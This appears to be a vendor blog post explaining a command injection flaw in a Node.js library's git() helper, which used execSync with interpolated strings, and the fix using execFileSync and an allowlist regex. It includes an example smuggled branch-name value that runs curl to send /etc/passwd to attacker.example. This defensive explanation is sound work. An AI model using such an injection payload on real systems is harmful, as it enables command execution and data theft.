How Command Injection happens in Node.js child_process calls and how to fix it

How Command Injection Happens in Node.js child_process Calls and How to Fix It

The scripts/pass.js file orchestrates git operations — but a flaw in its git() helper created a serious security risk

The scripts/pass.js file in this Node.js library handles automation passes: it loads task modules, processes content chunks, and commits results to git. To do so, it defines a small git() helper that wraps execSync. This is a common, convenient pattern — but the way arguments were assembled and passed to execSync opened a command injection path that Semgrep flagged at line 82.

The Vulnerability Explained

What went wrong: shell interpolation of unsanitized arguments

The original git() helper looked like this:

// BEFORE (vulnerable)
const { execSync } = require('child_process');

function git(args, opts = {}) {
  return execSync(`git ${args}`, { cwd: path.join(__dirname, '..'), stdio: 'pipe', ...opts })
    .toString().trim();
}

The function accepted args as a plain string and interpolated it directly into a shell command: `git ${args}`. It was called throughout the file like this:

// BEFORE (vulnerable call sites)
try { git(`rev-parse --verify ${name}`); git(`checkout ${name}`); }
catch { git(`checkout -b ${name}`); }

git(`add "${rel}"`);
const staged = git('diff --cached --name-only');

The core problem: execSync() invokes the system shell (/bin/sh on Unix, cmd.exe on Windows) to parse and execute the command string. That means any shell metacharacters embedded in args or name — such as ;, &&, |, $(...), or backticks — are interpreted by the shell as command separators or substitutions, not as literal argument text.

The loadPass function: a second injection surface

The vulnerability wasn't limited to git(). The loadPass() function used the task parameter to construct a filesystem path and, indirectly, to feed git operations — without any validation:

// BEFORE (no validation)
function loadPass(task) {
  const p = path.join(__dirname, 'passes', `${task}.js`);
  if (!fs.existsSync(p)) {
    console.error(`pass: no module at ${p}`);
    process.exit(1);
  }
  // ...
}

If task contained path traversal sequences (../../) or shell metacharacters, it could reach unintended files or, once fed into git commands, inject shell syntax.

A concrete attack scenario

Consider the ensureBranch(name) function, which calls:

git(`rev-parse --verify ${name}`);
git(`checkout ${name}`);

If name were attacker-controlled and set to:

main; curl https://attacker.example/exfil?data=$(cat /etc/passwd) #

The shell would execute:

git rev-parse --verify main; curl https://attacker.example/exfil?data=$(cat /etc/passwd) #

The second command runs curl with the contents of /etc/passwd as a query parameter — a classic data exfiltration payload. Because this is a Node.js library, the blast radius extends to every downstream consumer that installs this package: any application that calls into this library with externally influenced branch names, task names, or file paths is exposed.

The Fix

The patch makes two targeted, complementary changes that together eliminate the injection surface.

Change 1: Replace execSync with execFileSync and use argument arrays

// AFTER (safe)
const { execSync, execFileSync } = require('child_process');

function git(args, opts = {}) {
  const argArray = typeof args === 'string' ? args.split(' ') : args;
  return execFileSync('git', argArray, { cwd: path.join(__dirname, '..'), stdio: 'pipe', ...opts })
    .toString().trim();
}

execFileSync(file, args) does not invoke a shell. It passes the argument array directly to the OS execve() syscall (or its Windows equivalent), so each element of argArray is treated as a literal argument — shell metacharacters have no special meaning. There is no shell to interpret ; or $().

All call sites were updated to pass arrays instead of interpolated strings:

// AFTER (safe call sites)
try { git(['rev-parse', '--verify', name]); git(['checkout', name]); }
catch { git(['checkout', '-b', name]); }

git(['add', rel]);
const staged = git(['diff', '--cached', '--name-only']);

Note the subtle improvement in commitChunk: the original code wrapped rel in double quotes (`add "${rel}"`) as a manual escaping attempt. With execFileSync, that quoting is unnecessary and has been removed — the argument is passed verbatim.

Change 2: Strict allowlist validation for task names

// AFTER (safe)
function loadPass(task) {
  if (!/^[\w-]+$/.test(task)) {
    console.error(`pass: invalid task name: ${task}`);
    process.exit(2);
  }
  const p = path.join(__dirname, 'passes', `${task}.js`);
  // ...
}

The regex ^[\w-]+$ permits only word characters ([a-zA-Z0-9_]) and hyphens. Any input containing path separators (/, \), shell metacharacters (;, &, |, $, `), or whitespace is rejected immediately with a non-zero exit code. This is a classic allowlist approach: define exactly what is valid and reject everything else, rather than trying to blocklist known-bad characters.

Before vs. After — side by side

Key Takeaways

• execSync('git ' + args) in pass.js was the exact exploit primitive: any caller passing a crafted args string containing shell metacharacters could execute arbitrary OS commands.
• execFileSync with an argument array is the correct Node.js idiom for running subprocesses with dynamic arguments — it eliminates the shell layer entirely, not just sanitizes it.
• **The manual quoting in git(\add "${rel}"`)was a false sense of security**: double quotes don't protect against all shell injection vectors and were unnecessary onceexecFileSync` was adopted.
• Allowlist validation (^[\w-]+$) in loadPass provides defense-in-depth: even if a future refactor inadvertently reintroduces a shell call, malformed task names are rejected before they can reach it.
• Library code has a wider attack surface than application code: downstream consumers of this npm package inherit all its vulnerabilities, making hardening especially important.

How Orbis AppSec Detected This

• Source: The args parameter of the git() function in scripts/pass.js, and the task parameter of loadPass(), both of which can receive externally influenced values when the library is consumed downstream.
• Sink: execSync(\git ${args}`)atscripts/pass.js:82— a shell-interpolated command string execution via Node.jschild_process.execSync`.
• Missing control: No input validation or sanitization was applied to args before shell interpolation; no allowlist check existed for task before it was used in path construction and git operations.
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: Replaced execSync with execFileSync using an explicit argument array to bypass shell interpretation, and added a strict ^[\w-]+$ allowlist regex to validate task names before use.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerability in scripts/pass.js is a textbook example of how a small, convenient shortcut — building a shell command string with execSync and template literals — creates a serious security risk when inputs are not fully controlled. The fix is equally instructive: switching to execFileSync with an argument array is not just a patch, it's an architectural improvement that removes the shell from the equation entirely. Combined with strict allowlist validation at the loadPass entry point, the attack surface is meaningfully reduced.

For Node.js developers: treat execSync with dynamic arguments as a code smell. Reach for execFileSync or spawnSync with argument arrays as your default, and validate inputs with allowlists as early as possible. These habits, enforced by static analysis in CI, prevent entire classes of injection vulnerabilities before they ship.